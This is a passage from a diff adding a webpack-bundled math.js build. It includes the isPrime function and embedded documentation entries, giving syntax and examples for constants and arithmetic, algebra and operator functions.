string(x) { + return x.trim().length > 0 && !isNaN(Number(x)); + }, + 'any': function any(x) { + return isNumeric(x); + } + }); + return hasNumericValue; +} + +exports.name = 'hasNumericValue'; +exports.factory = factory; + +/***/ }), +/* 354 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Test whether a value is prime: has no divisors other than itself and one. + * The function supports type `number`, `bignumber`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isPrime(x) + * + * Examples: + * + * math.isPrime(3) // returns true + * math.isPrime(-2) // returns false + * math.isPrime(0) // returns false + * math.isPrime(-0) // returns false + * math.isPrime(0.5) // returns false + * math.isPrime('2') // returns true + * math.isPrime([2, 17, 100]) // returns [true, true, false] + * + * See also: + * + * isNumeric, isZero, isNegative, isInteger + * + * @param {number | BigNumber | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` is larger than zero. + * Throws an error in case of an unknown data type. + */ + var isPrime = typed('isPrime', { + 'number': function number(x) { + if (x < 2) { + return false; + } + + if (x === 2) { + return true; + } + + if (x % 2 === 0) { + return false; + } + + for (var i = 3; i * i <= x; i += 2) { + if (x % i === 0) { + return false; + } + } + + return true; + }, + 'BigNumber': function BigNumber(x) { + if (x.lt(2)) { + return false; + } + + if (x.equals(2)) { + return true; + } + + if (x.mod(2).isZero()) { + return false; + } + + for (var i = type.BigNumber(3); i.times(i).lte(x); i = i.plus(1)) { + if (x.mod(i).isZero()) { + return false; + } + } + + return true; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isPrime); + } + }); + return isPrime; +} + +exports.name = 'isPrime'; +exports.factory = factory; + +/***/ }), +/* 355 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// Note that the docs folder is called "embeddedDocs" and not "docs" to prevent issues +// with yarn autoclean. See https://github.com/josdejong/mathjs/issues/969 +__webpack_require__(155), __webpack_require__(561), __webpack_require__(565), __webpack_require__(567), __webpack_require__(584), __webpack_require__(44), __webpack_require__(159)]; + +/***/ }), +/* 356 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bignumber', + 'category': 'Construction', + 'syntax': ['bignumber(x)'], + 'description': 'Create a big number from a number or string.', + 'examples': ['0.1 + 0.2', 'bignumber(0.1) + bignumber(0.2)', 'bignumber("7.2")', 'bignumber("7.2e500")', 'bignumber([0.1, 0.2, 0.3])'], + 'seealso': ['boolean', 'complex', 'fraction', 'index', 'matrix', 'string', 'unit'] +}; + +/***/ }), +/* 357 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'boolean', + 'category': 'Construction', + 'syntax': ['x', 'boolean(x)'], + 'description': 'Convert a string or number into a boolean.', + 'examples': ['boolean(0)', 'boolean(1)', 'boolean(3)', 'boolean("true")', 'boolean("false")', 'boolean([1, 0, 1, 1])'], + 'seealso': ['bignumber', 'complex', 'index', 'matrix', 'number', 'string', 'unit'] +}; + +/***/ }), +/* 358 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'complex', + 'category': 'Construction', + 'syntax': ['complex()', 'complex(re, im)', 'complex(string)'], + 'description': 'Create a complex number.', + 'examples': ['complex()', 'complex(2, 3)', 'complex("7 - 2i")'], + 'seealso': ['bignumber', 'boolean', 'index', 'matrix', 'number', 'string', 'unit'] +}; + +/***/ }), +/* 359 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'createUnit', + 'category': 'Construction', + 'syntax': ['createUnit(definitions)', 'createUnit(name, definition)'], + 'description': 'Create a user-defined unit and register it with the Unit type.', + 'examples': ['createUnit("foo")', 'createUnit("knot", {definition: "0.514444444 m/s", aliases: ["knots", "kt", "kts"]})', 'createUnit("mph", "1 mile/hour")'], + 'seealso': ['unit', 'splitUnit'] +}; + +/***/ }), +/* 360 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'fraction', + 'category': 'Construction', + 'syntax': ['fraction(num)', 'fraction(num,den)'], + 'description': 'Create a fraction from a number or from a numerator and denominator.', + 'examples': ['fraction(0.125)', 'fraction(1, 3) + fraction(2, 5)'], + 'seealso': ['bignumber', 'boolean', 'complex', 'index', 'matrix', 'string', 'unit'] +}; + +/***/ }), +/* 361 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'index', + 'category': 'Construction', + 'syntax': ['[start]', '[start:end]', '[start:step:end]', '[start1, start 2, ...]', '[start1:end1, start2:end2, ...]', '[start1:step1:end1, start2:step2:end2, ...]'], + 'description': 'Create an index to get or replace a subset of a matrix', + 'examples': ['[]', '[1, 2, 3]', 'A = [1, 2, 3; 4, 5, 6]', 'A[1, :]', 'A[1, 2] = 50', 'A[0:2, 0:2] = ones(2, 2)'], + 'seealso': ['bignumber', 'boolean', 'complex', 'matrix,', 'number', 'range', 'string', 'unit'] +}; + +/***/ }), +/* 362 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'matrix', + 'category': 'Construction', + 'syntax': ['[]', '[a1, b1, ...; a2, b2, ...]', 'matrix()', 'matrix("dense")', 'matrix([...])'], + 'description': 'Create a matrix.', + 'examples': ['[]', '[1, 2, 3]', '[1, 2, 3; 4, 5, 6]', 'matrix()', 'matrix([3, 4])', 'matrix([3, 4; 5, 6], "sparse")', 'matrix([3, 4; 5, 6], "sparse", "number")'], + 'seealso': ['bignumber', 'boolean', 'complex', 'index', 'number', 'string', 'unit', 'sparse'] +}; + +/***/ }), +/* 363 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'number', + 'category': 'Construction', + 'syntax': ['x', 'number(x)', 'number(unit, valuelessUnit)'], + 'description': 'Create a number or convert a string or boolean into a number.', + 'examples': ['2', '2e3', '4.05', 'number(2)', 'number("7.2")', 'number(true)', 'number([true, false, true, true])', 'number(unit("52cm"), "m")'], + 'seealso': ['bignumber', 'boolean', 'complex', 'fraction', 'index', 'matrix', 'string', 'unit'] +}; + +/***/ }), +/* 364 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sparse', + 'category': 'Construction', + 'syntax': ['sparse()', 'sparse([a1, b1, ...; a1, b2, ...])', 'sparse([a1, b1, ...; a1, b2, ...], "number")'], + 'description': 'Create a sparse matrix.', + 'examples': ['sparse()', 'sparse([3, 4; 5, 6])', 'sparse([3, 0; 5, 0], "number")'], + 'seealso': ['bignumber', 'boolean', 'complex', 'index', 'number', 'string', 'unit', 'matrix'] +}; + +/***/ }), +/* 365 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'splitUnit', + 'category': 'Construction', + 'syntax': ['splitUnit(unit: Unit, parts: Unit[])'], + 'description': 'Split a unit in an array of units whose sum is equal to the original unit.', + 'examples': ['splitUnit(1 m, ["feet", "inch"])'], + 'seealso': ['unit', 'createUnit'] +}; + +/***/ }), +/* 366 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'string', + 'category': 'Construction', + 'syntax': ['"text"', 'string(x)'], + 'description': 'Create a string or convert a value to a string', + 'examples': ['"Hello World!"', 'string(4.2)', 'string(3 + 2i)'], + 'seealso': ['bignumber', 'boolean', 'complex', 'index', 'matrix', 'number', 'unit'] +}; + +/***/ }), +/* 367 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'unit', + 'category': 'Construction', + 'syntax': ['value unit', 'unit(value, unit)', 'unit(string)'], + 'description': 'Create a unit.', + 'examples': ['5.5 mm', '3 inch', 'unit(7.1, "kilogram")', 'unit("23 deg")'], + 'seealso': ['bignumber', 'boolean', 'complex', 'index', 'matrix', 'number', 'string'] +}; + +/***/ }), +/* 368 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'false', + 'category': 'Constants', + 'syntax': ['false'], + 'description': 'Boolean value false', + 'examples': ['false'], + 'seealso': ['true'] +}; + +/***/ }), +/* 369 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'i', + 'category': 'Constants', + 'syntax': ['i'], + 'description': 'Imaginary unit, defined as i*i=-1. A complex number is described as a + b*i, where a is the real part, and b is the imaginary part.', + 'examples': ['i', 'i * i', 'sqrt(-1)'], + 'seealso': [] +}; + +/***/ }), +/* 370 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'Infinity', + 'category': 'Constants', + 'syntax': ['Infinity'], + 'description': 'Infinity, a number which is larger than the maximum number that can be handled by a floating point number.', + 'examples': ['Infinity', '1 / 0'], + 'seealso': [] +}; + +/***/ }), +/* 371 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'LN2', + 'category': 'Constants', + 'syntax': ['LN2'], + 'description': 'Returns the natural logarithm of 2, approximately equal to 0.693', + 'examples': ['LN2', 'log(2)'], + 'seealso': [] +}; + +/***/ }), +/* 372 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'LN10', + 'category': 'Constants', + 'syntax': ['LN10'], + 'description': 'Returns the natural logarithm of 10, approximately equal to 2.302', + 'examples': ['LN10', 'log(10)'], + 'seealso': [] +}; + +/***/ }), +/* 373 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'LOG2E', + 'category': 'Constants', + 'syntax': ['LOG2E'], + 'description': 'Returns the base-2 logarithm of E, approximately equal to 1.442', + 'examples': ['LOG2E', 'log(e, 2)'], + 'seealso': [] +}; + +/***/ }), +/* 374 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'LOG10E', + 'category': 'Constants', + 'syntax': ['LOG10E'], + 'description': 'Returns the base-10 logarithm of E, approximately equal to 0.434', + 'examples': ['LOG10E', 'log(e, 10)'], + 'seealso': [] +}; + +/***/ }), +/* 375 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'NaN', + 'category': 'Constants', + 'syntax': ['NaN'], + 'description': 'Not a number', + 'examples': ['NaN', '0 / 0'], + 'seealso': [] +}; + +/***/ }), +/* 376 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'null', + 'category': 'Constants', + 'syntax': ['null'], + 'description': 'Value null', + 'examples': ['null'], + 'seealso': ['true', 'false'] +}; + +/***/ }), +/* 377 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'phi', + 'category': 'Constants', + 'syntax': ['phi'], + 'description': 'Phi is the golden ratio. Two quantities are in the golden ratio if their ratio is the same as the ratio of their sum to the larger of the two quantities. Phi is defined as `(1 + sqrt(5)) / 2` and is approximately 1.618034...', + 'examples': ['phi'], + 'seealso': [] +}; + +/***/ }), +/* 378 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'SQRT1_2', + 'category': 'Constants', + 'syntax': ['SQRT1_2'], + 'description': 'Returns the square root of 1/2, approximately equal to 0.707', + 'examples': ['SQRT1_2', 'sqrt(1/2)'], + 'seealso': [] +}; + +/***/ }), +/* 379 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'SQRT2', + 'category': 'Constants', + 'syntax': ['SQRT2'], + 'description': 'Returns the square root of 2, approximately equal to 1.414', + 'examples': ['SQRT2', 'sqrt(2)'], + 'seealso': [] +}; + +/***/ }), +/* 380 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'tau', + 'category': 'Constants', + 'syntax': ['tau'], + 'description': 'Tau is the ratio constant of a circle\'s circumference to radius, equal to 2 * pi, approximately 6.2832.', + 'examples': ['tau', '2 * pi'], + 'seealso': ['pi'] +}; + +/***/ }), +/* 381 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'true', + 'category': 'Constants', + 'syntax': ['true'], + 'description': 'Boolean value true', + 'examples': ['true'], + 'seealso': ['false'] +}; + +/***/ }), +/* 382 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'version', + 'category': 'Constants', + 'syntax': ['version'], + 'description': 'A string with the version number of math.js', + 'examples': ['version'], + 'seealso': [] +}; + +/***/ }), +/* 383 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'derivative', + 'category': 'Algebra', + 'syntax': ['derivative(expr, variable)', 'derivative(expr, variable, {simplify: boolean})'], + 'description': 'Takes the derivative of an expression expressed in parser Nodes. The derivative will be taken over the supplied variable in the second parameter. If there are multiple variables in the expression, it will return a partial derivative.', + 'examples': ['derivative("2x^3", "x")', 'derivative("2x^3", "x", {simplify: false})', 'derivative("2x^2 + 3x + 4", "x")', 'derivative("sin(2x)", "x")', 'f = parse("x^2 + x")', 'x = parse("x")', 'df = derivative(f, x)', 'df.eval({x: 3})'], + 'seealso': ['simplify', 'parse', 'eval'] +}; + +/***/ }), +/* 384 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'lsolve', + 'category': 'Algebra', + 'syntax': ['x=lsolve(L, b)'], + 'description': 'Solves the linear system L * x = b where L is an [n x n] lower triangular matrix and b is a [n] column vector.', + 'examples': ['a = [-2, 3; 2, 1]', 'b = [11, 9]', 'x = lsolve(a, b)'], + 'seealso': ['lup', 'lusolve', 'usolve', 'matrix', 'sparse'] +}; + +/***/ }), +/* 385 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'lup', + 'category': 'Algebra', + 'syntax': ['lup(m)'], + 'description': 'Calculate the Matrix LU decomposition with partial pivoting. Matrix A is decomposed in three matrices (L, U, P) where P * A = L * U', + 'examples': ['lup([[2, 1], [1, 4]])', 'lup(matrix([[2, 1], [1, 4]]))', 'lup(sparse([[2, 1], [1, 4]]))'], + 'seealso': ['lusolve', 'lsolve', 'usolve', 'matrix', 'sparse', 'slu', 'qr'] +}; + +/***/ }), +/* 386 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'lusolve', + 'category': 'Algebra', + 'syntax': ['x=lusolve(A, b)', 'x=lusolve(lu, b)'], + 'description': 'Solves the linear system A * x = b where A is an [n x n] matrix and b is a [n] column vector.', + 'examples': ['a = [-2, 3; 2, 1]', 'b = [11, 9]', 'x = lusolve(a, b)'], + 'seealso': ['lup', 'slu', 'lsolve', 'usolve', 'matrix', 'sparse'] +}; + +/***/ }), +/* 387 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'simplify', + 'category': 'Algebra', + 'syntax': ['simplify(expr)', 'simplify(expr, rules)'], + 'description': 'Simplify an expression tree.', + 'examples': ['simplify("3 + 2 / 4")', 'simplify("2x + x")', 'f = parse("x * (x + 2 + x)")', 'simplified = simplify(f)', 'simplified.eval({x: 2})'], + 'seealso': ['derivative', 'parse', 'eval'] +}; + +/***/ }), +/* 388 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'rationalize', + 'category': 'Algebra', + 'syntax': ['rationalize(expr)', 'rationalize(expr, scope)', 'rationalize(expr, scope, detailed)'], + 'description': 'Transform a rationalizable expression in a rational fraction. If rational fraction is one variable polynomial then converts the numerator and denominator in canonical form, with decreasing exponents, returning the coefficients of numerator.', + 'examples': ['rationalize("2x/y - y/(x+1)")', 'rationalize("2x/y - y/(x+1)", true)'], + 'seealso': ['simplify'] +}; + +/***/ }), +/* 389 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'slu', + 'category': 'Algebra', + 'syntax': ['slu(A, order, threshold)'], + 'description': 'Calculate the Matrix LU decomposition with full pivoting. Matrix A is decomposed in two matrices (L, U) and two permutation vectors (pinv, q) where P * A * Q = L * U', + 'examples': ['slu(sparse([4.5, 0, 3.2, 0; 3.1, 2.9, 0, 0.9; 0, 1.7, 3, 0; 3.5, 0.4, 0, 1]), 1, 0.001)'], + 'seealso': ['lusolve', 'lsolve', 'usolve', 'matrix', 'sparse', 'lup', 'qr'] +}; + +/***/ }), +/* 390 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'usolve', + 'category': 'Algebra', + 'syntax': ['x=usolve(U, b)'], + 'description': 'Solves the linear system U * x = b where U is an [n x n] upper triangular matrix and b is a [n] column vector.', + 'examples': ['x=usolve(sparse([1, 1, 1, 1; 0, 1, 1, 1; 0, 0, 1, 1; 0, 0, 0, 1]), [1; 2; 3; 4])'], + 'seealso': ['lup', 'lusolve', 'lsolve', 'matrix', 'sparse'] +}; + +/***/ }), +/* 391 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'qr', + 'category': 'Algebra', + 'syntax': ['qr(A)'], + 'description': 'Calculates the Matrix QR decomposition. Matrix `A` is decomposed in two matrices (`Q`, `R`) where `Q` is an orthogonal matrix and `R` is an upper triangular matrix.', + 'examples': ['qr([[1, -1, 4], [1, 4, -2], [1, 4, 2], [1, -1, 0]])'], + 'seealso': ['lup', 'slu', 'matrix'] +}; + +/***/ }), +/* 392 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'abs', + 'category': 'Arithmetic', + 'syntax': ['abs(x)'], + 'description': 'Compute the absolute value.', + 'examples': ['abs(3.5)', 'abs(-4.2)'], + 'seealso': ['sign'] +}; + +/***/ }), +/* 393 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'add', + 'category': 'Operators', + 'syntax': ['x + y', 'add(x, y)'], + 'description': 'Add two values.', + 'examples': ['a = 2.1 + 3.6', 'a - 3.6', '3 + 2i', '3 cm + 2 inch', '"2.3" + "4"'], + 'seealso': ['subtract'] +}; + +/***/ }), +/* 394 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cbrt', + 'category': 'Arithmetic', + 'syntax': ['cbrt(x)', 'cbrt(x, allRoots)'], + 'description': 'Compute the cubic root value. If x = y * y * y, then y is the cubic root of x. When `x` is a number or complex number, an optional second argument `allRoots` can be provided to return all three cubic roots. If not provided, the principal root is returned', + 'examples': ['cbrt(64)', 'cube(4)', 'cbrt(-8)', 'cbrt(2 + 3i)', 'cbrt(8i)', 'cbrt(8i, true)', 'cbrt(27 m^3)'], + 'seealso': ['square', 'sqrt', 'cube', 'multiply'] +}; + +/***/ }), +/* 395 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'ceil', + 'category': 'Arithmetic', + 'syntax': ['ceil(x)'], + 'description': 'Round a value towards plus infinity. If x is complex, both real and imaginary part are rounded towards plus infinity.', + 'examples': ['ceil(3.2)', 'ceil(3.8)', 'ceil(-4.2)'], + 'seealso': ['floor', 'fix', 'round'] +}; + +/***/ }), +/* 396 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cube', + 'category': 'Arithmetic', + 'syntax': ['cube(x)'], + 'description': 'Compute the cube of a value. The cube of x is x * x * x.', + 'examples': ['cube(2)', '2^3', '2 * 2 * 2'], + 'seealso': ['multiply', 'square', 'pow'] +}; + +/***/ }), +/* 397 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'divide', + 'category': 'Operators', + 'syntax': ['x / y', 'divide(x, y)'], + 'description': 'Divide two values.', + 'examples': ['a = 2 / 3', 'a * 3', '4.5 / 2', '3 + 4 / 2', '(3 + 4) / 2', '18 km / 4.5'], + 'seealso': ['multiply'] +}; + +/***/ }), +/* 398 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'dotDivide', + 'category': 'Operators', + 'syntax': ['x ./ y', 'dotDivide(x, y)'], + 'description': 'Divide two values element wise.', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'b = [2, 1, 1; 3, 2, 5]', 'a ./ b'], + 'seealso': ['multiply', 'dotMultiply', 'divide'] +}; + +/***/ }), +/* 399 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'dotMultiply', + 'category': 'Operators', + 'syntax': ['x .* y', 'dotMultiply(x, y)'], + 'description': 'Multiply two values element wise.', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'b = [2, 1, 1; 3, 2, 5]', 'a .* b'], + 'seealso': ['multiply', 'divide', 'dotDivide'] +}; + +/***/ }), +/* 400 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'dotpow', + 'category': 'Operators', + 'syntax': ['x .^ y', 'dotpow(x, y)'], + 'description': 'Calculates the power of x to y element wise.', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'a .^ 2'], + 'seealso': ['pow'] +}; + +/***/ }), +/* 401 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'exp', + 'category': 'Arithmetic', + 'syntax': ['exp(x)'], + 'description': 'Calculate the exponent of a value.', + 'examples': ['exp(1.3)', 'e ^ 1.3', 'log(exp(1.3))', 'x = 2.4', '(exp(i*x) == cos(x) + i*sin(x)) # Euler\'s formula'], + 'seealso': ['expm', 'expm1', 'pow', 'log'] +}; + +/***/ }), +/* 402 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'expm', + 'category': 'Arithmetic', + 'syntax': ['exp(x)'], + 'description': 'Compute the matrix exponential, expm(A) = e^A. ' + 'The matrix must be square. ' + 'Not to be confused with exp(a), which performs element-wise exponentiation.', + 'examples': ['expm([[0,2],[0,0]])'], + 'seealso': ['exp'] +}; + +/***/ }), +/* 403 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'expm1', + 'category': 'Arithmetic', + 'syntax': ['expm1(x)'], + 'description': 'Calculate the value of subtracting 1 from the exponential value.', + 'examples': ['expm1(2)', 'pow(e, 2) - 1', 'log(expm1(2) + 1)'], + 'seealso': ['exp', 'pow', 'log'] +}; + +/***/ }), +/* 404 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'fix', + 'category': 'Arithmetic', + 'syntax': ['fix(x)'], + 'description': 'Round a value towards zero. If x is complex, both real and imaginary part are rounded towards zero.', + 'examples': ['fix(3.2)', 'fix(3.8)', 'fix(-4.2)', 'fix(-4.8)'], + 'seealso': ['ceil', 'floor', 'round'] +}; + +/***/ }), +/* 405 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'floor', + 'category': 'Arithmetic', + 'syntax': ['floor(x)'], + 'description': 'Round a value towards minus infinity.If x is complex, both real and imaginary part are rounded towards minus infinity.', + 'examples': ['floor(3.2)', 'floor(3.8)', 'floor(-4.2)'], + 'seealso': ['ceil', 'fix', 'round'] +}; + +/***/ }), +/* 406 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'gcd', + 'category': 'Arithmetic', + 'syntax': ['gcd(a, b)', 'gcd(a, b, c, ...)'], + 'description': 'Compute the greatest common divisor.', + 'examples': ['gcd(8, 12)', 'gcd(-4, 6)', 'gcd(25, 15, -10)'], + 'seealso': ['lcm', 'xgcd'] +}; + +/***/ }), +/* 407 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'hypot', + 'category': 'Arithmetic', + 'syntax': ['hypot(a, b, c, ...)', 'hypot([a, b, c, ...])'], + 'description': 'Calculate the hypotenusa of a list with values. ', + 'examples': ['hypot(3, 4)', 'sqrt(3^2 + 4^2)', 'hypot(-2)', 'hypot([3, 4, 5])'], + 'seealso': ['abs', 'norm'] +}; + +/***/ }), +/* 408 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'lcm', + 'category': 'Arithmetic', + 'syntax': ['lcm(x, y)'], + 'description': 'Compute the least common multiple.', + 'examples': ['lcm(4, 6)', 'lcm(6, 21)', 'lcm(6, 21, 5)'], + 'seealso': ['gcd'] +}; + +/***/ }), +/* 409 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'log', + 'category': 'Arithmetic', + 'syntax': ['log(x)', 'log(x, base)'], + 'description': 'Compute the logarithm of a value. If no base is provided, the natural logarithm of x is calculated. If base if provided, the logarithm is calculated for the specified base. log(x, base) is defined as log(x) / log(base).', + 'examples': ['log(3.5)', 'a = log(2.4)', 'exp(a)', '10 ^ 4', 'log(10000, 10)', 'log(10000) / log(10)', 'b = log(1024, 2)', '2 ^ b'], + 'seealso': ['exp', 'log1p', 'log2', 'log10'] +}; + +/***/ }), +/* 410 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'log2', + 'category': 'Arithmetic', + 'syntax': ['log2(x)'], + 'description': 'Calculate the 2-base of a value. This is the same as calculating `log(x, 2)`.', + 'examples': ['log2(0.03125)', 'log2(16)', 'log2(16) / log2(2)', 'pow(2, 4)'], + 'seealso': ['exp', 'log1p', 'log', 'log10'] +}; + +/***/ }), +/* 411 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'log1p', + 'category': 'Arithmetic', + 'syntax': ['log1p(x)', 'log1p(x, base)'], + 'description': 'Calculate the logarithm of a `value+1`', + 'examples': ['log1p(2.5)', 'exp(log1p(1.4))', 'pow(10, 4)', 'log1p(9999, 10)', 'log1p(9999) / log(10)'], + 'seealso': ['exp', 'log', 'log2', 'log10'] +}; + +/***/ }), +/* 412 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'log10', + 'category': 'Arithmetic', + 'syntax': ['log10(x)'], + 'description': 'Compute the 10-base logarithm of a value.', + 'examples': ['log10(0.00001)', 'log10(10000)', '10 ^ 4', 'log(10000) / log(10)', 'log(10000, 10)'], + 'seealso': ['exp', 'log'] +}; + +/***/ }), +/* 413 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'mod', + 'category': 'Operators', + 'syntax': ['x % y', 'x mod y', 'mod(x, y)'], + 'description': 'Calculates the modulus, the remainder of an integer division.', + 'examples': ['7 % 3', '11 % 2', '10 mod 4', 'isOdd(x) = x % 2', 'isOdd(2)', 'isOdd(3)'], + 'seealso': ['divide'] +}; + +/***/ }), +/* 414 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'multiply', + 'category': 'Operators', + 'syntax': ['x * y', 'multiply(x, y)'], + 'description': 'multiply two values.', + 'examples': ['a = 2.1 * 3.4', 'a / 3.4', '2 * 3 + 4', '2 * (3 + 4)', '3 * 2.1 km'], + 'seealso': ['divide'] +}; + +/***/ }), +/* 415 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'norm', + 'category': 'Arithmetic', + 'syntax': ['norm(x)', 'norm(x, p)'], + 'description': 'Calculate the norm of a number, vector or matrix.', + 'examples': ['abs(-3.5)', 'norm(-3.5)', 'norm(3 - 4i)', 'norm([1, 2, -3], Infinity)', 'norm([1, 2, -3], -Infinity)', 'norm([3, 4], 2)', 'norm([[1, 2], [3, 4]], 1)', 'norm([[1, 2], [3, 4]], "inf")', 'norm([[1, 2], [3, 4]], "fro")'] +}; + +/***/ }), +/* 416 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'nthRoot', + 'category': 'Arithmetic', + 'syntax': ['nthRoot(a)', 'nthRoot(a, root)'], + 'description': 'Calculate the nth root of a value. ' + 'The principal nth root of a positive real number A, ' + 'is the positive real solution of the equation "x^root = A".', + 'examples': ['4 ^ 3', 'nthRoot(64, 3)', 'nthRoot(9, 2)', 'sqrt(9)'], + 'seealso': ['nthRoots', 'pow', 'sqrt'] +}; + +/***/ }), +/* 417 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'nthRoots', + 'category': 'Arithmetic', + 'syntax': ['nthRoots(A)', 'nthRoots(A, root)'], + 'description': '' + 'Calculate the nth roots of a value. ' + 'An nth root of a positive real number A, ' + 'is a positive real solution of the equation "x^root = A". ' + 'This function returns an array of complex values.', + 'examples': ['nthRoots(1)', 'nthRoots(1, 3)'], + 'seealso': ['sqrt', 'pow', 'nthRoot'] +}; + +/***/ }), +/* 418 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'pow', + 'category': 'Operators', + 'syntax': ['x ^ y', 'pow(x, y)'], + 'description': 'Calculates the power of x to y, x^y.', + 'examples': ['2^3', '2*2*2', '1 + e ^ (pi * i)'], + 'seealso': ['multiply', 'nthRoot', 'nthRoots', 'sqrt'] +}; + +/***/ }), +/* 419 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'round', + 'category': 'Arithmetic', + 'syntax': ['round(x)', 'round(x, n)'], + 'description': 'round a value towards the nearest integer.If x is complex, both real and imaginary part are rounded towards the nearest integer. When n is specified, the value is rounded to n decimals.', + 'examples': ['round(3.2)', 'round(3.8)', 'round(-4.2)', 'round(-4.8)', 'round(pi, 3)', 'round(123.45678, 2)'], + 'seealso': ['ceil', 'floor', 'fix'] +}; + +/***/ }), +/* 420 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sign', + 'category': 'Arithmetic', + 'syntax': ['sign(x)'], + 'description': 'Compute the sign of a value. The sign of a value x is 1 when x>1, -1 when x<0, and 0 when x=0.', + 'examples': ['sign(3.5)', 'sign(-4.2)', 'sign(0)'], + 'seealso': ['abs'] +}; + +/***/ }), +/* 421 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sqrt', + 'category': 'Arithmetic', + 'syntax': ['sqrt(x)'], + 'description': 'Compute the square root value. If x = y * y, then y is the square root of x.', + 'examples': ['sqrt(25)', '5 * 5', 'sqrt(-1)'], + 'seealso': ['square', 'sqrtm', 'multiply', 'nthRoot', 'nthRoots', 'pow'] +}; + +/***/ }), +/* 422 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sqrtm', + 'category': 'Arithmetic', + 'syntax': ['sqrtm(x)'], + 'description': 'Calculate the principal square root of a square matrix. The principal square root matrix `X` of another matrix `A` is such that `X * X = A`.', + 'examples': ['sqrtm([[1, 2], [3, 4]])'], + 'seealso': ['sqrt', 'abs', 'square', 'multiply'] +}; + +/***/ }), +/* 423 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'square', + 'category': 'Arithmetic', + 'syntax': ['square(x)'], + 'description': 'Compute the square of a value. The square of x is x * x.', + 'examples': ['square(3)', 'sqrt(9)', '3^2', '3 * 3'], + 'seealso': ['multiply', 'pow', 'sqrt', 'cube'] +}; + +/***/ }), +/* 424 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'subtract', + 'category': 'Operators', + 'syntax': ['x - y', 'subtract(x, y)'], + 'description': 'subtract two values.', + 'examples': ['a = 5.3 - 2', 'a + 2', '2/3 - 1/6', '2 * 3 - 3', '2.1 km - 500m'], + 'seealso': ['add'] +}; + +/***/ }), +/* 425 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'unaryMinus', + 'category': 'Operators', + 'syntax': ['-x', 'unaryMinus(x)'], + 'description': 'Inverse the sign of a value. Converts booleans and strings to numbers.', + 'examples': ['-4.5', 